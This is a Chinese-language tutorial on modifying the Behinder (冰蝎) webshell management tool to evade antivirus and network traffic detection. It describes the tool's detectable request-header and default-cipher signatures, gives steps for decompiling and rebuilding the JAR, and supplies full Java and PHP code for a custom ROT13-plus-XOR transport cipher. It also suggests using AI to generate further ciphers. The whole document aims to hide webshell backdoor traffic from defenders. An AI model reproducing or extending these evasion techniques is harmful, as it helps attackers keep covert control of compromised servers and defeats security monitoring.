免杀对抗-1
Webshell免杀
http://bypass.tidesec.com/
原理:
1,webshell工具里面的后门代码不被病毒检测到-混淆
2,webshell工具里面的功能操作不被杀毒拦截到-魔改
3,webshell工具里面的操作连接不被平台捕获到-魔改
通过对冰蝎的数据包分析:
1,请求数据包的两个强特征
2,已知数据的提交内容加密算法
流量平台设备可以分析数据包的两个强特征
提交数据进行默认算法解密去分析是否为冰蝎工具连接
数据包特征:

application/json, text/javascript, /; q=0.01
解决1:绕过识别(魔改打乱特征,新增加密算法)
解决2:绕过查杀(魔改打乱特征,新增加密算法)
魔改冰蝎
JAR反编译打包架构
1,反编译Jar
https://www.decompiler.com/
在idea中新建一个项目
创建lib目录
将Behinder文件原有的内容放入进去

并将反编译的文件也放入到文件中
在项目结构中加入


在文件中查找特征
application/json, text/javascript, /; q=0.01
Accept-Language:zh-CN,zh; q=0.9,en-US;q=0.8,en;g=0.7

更改加密特征
查看加密算法,随意选择一个加密算法,复制其中的代码段,到文件中去查找位置

路径:\net\rebeyond\behinder\resource\transprotocol

只需要将需要更改的内容放入到src目录中

加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private byte[] Encrypt(byte[] data) throws Exception { String key = "e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { byte b = data[i]; if (b >= 'a' && b <= 'z') { b = (byte) ((b - 'a' + 13) % 26 + 'a'); } else if (b >= 'A' && b <= 'Z') { b = (byte) ((b - 'A' + 13) % 26 + 'A'); } data[i] = b; } for (int i = 0; i < data.length; i++) { data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]); } return data; }
|
解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private byte[] Decrypt(byte[] data) throws Exception { String key = "e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]); } for (int i = 0; i < data.length; i++) { byte b = data[i]; if (b >= 'a' && b <= 'z') { b = (byte) ((b - 'a' + 13) % 26 + 'a'); } else if (b >= 'A' && b <= 'Z') { b = (byte) ((b - 'A' + 13) % 26 + 'A'); } data[i] = b; } return data; }
|
可用ai將原有的加密方式添加或重新生成新的加密算法

提示保存成功表示代码没有问题
点击分享保存

将保存的文件放入文件加密解密目录下\net\rebeyond\behinder\resource\transprotocol

生成的是jsp的文件,如果要使用php的
还是使用ai

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| function encrypt($data) { $key = "e45e329feb5d925b"; $keyBytes = array_values(unpack('C*', $key)); for ($i = 0; $i < strlen($data); $i++) { $byte = ord($data[$i]); if ($byte >= ord('a') && $byte <= ord('z')) { $byte = (($byte - ord('a') + 13) % 26) + ord('a'); } elseif ($byte >= ord('A') && $byte <= ord('Z')) { $byte = (($byte - ord('A') + 13) % 26) + ord('A'); } $data[$i] = chr($byte); } $encrypted = ''; for ($i = 0; $i < strlen($data); $i++) { $keyIndex = ($i + 1) & 15; $encryptedByte = ord($data[$i]) ^ $keyBytes[$keyIndex]; $encrypted .= chr($encryptedByte); } return $encrypted; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function decrypt($encrypted) { $key = "e45e329feb5d925b"; $keyBytes = array_values(unpack('C*', $key)); $data = ''; for ($i = 0; $i < strlen($encrypted); $i++) { $keyIndex = ($i + 1) & 15; $decryptedByte = ord($encrypted[$i]) ^ $keyBytes[$keyIndex]; $data .= chr($decryptedByte); } $decrypted = ''; for ($i = 0; $i < strlen($data); $i++) { $byte = ord($data[$i]); if ($byte >= ord('a') && $byte <= ord('z')) { $byte = (($byte - ord('a') + 13) % 26) + ord('a'); } elseif ($byte >= ord('A') && $byte <= ord('Z')) { $byte = (($byte - ord('A') + 13) % 26) + ord('A'); } $decrypted .= chr($byte); } return $decrypted; }
|

后构建项目,再构建工件生成jar文件
测试:

其他加密算法:
参考此文章
https://xz.aliyun.com/news/11899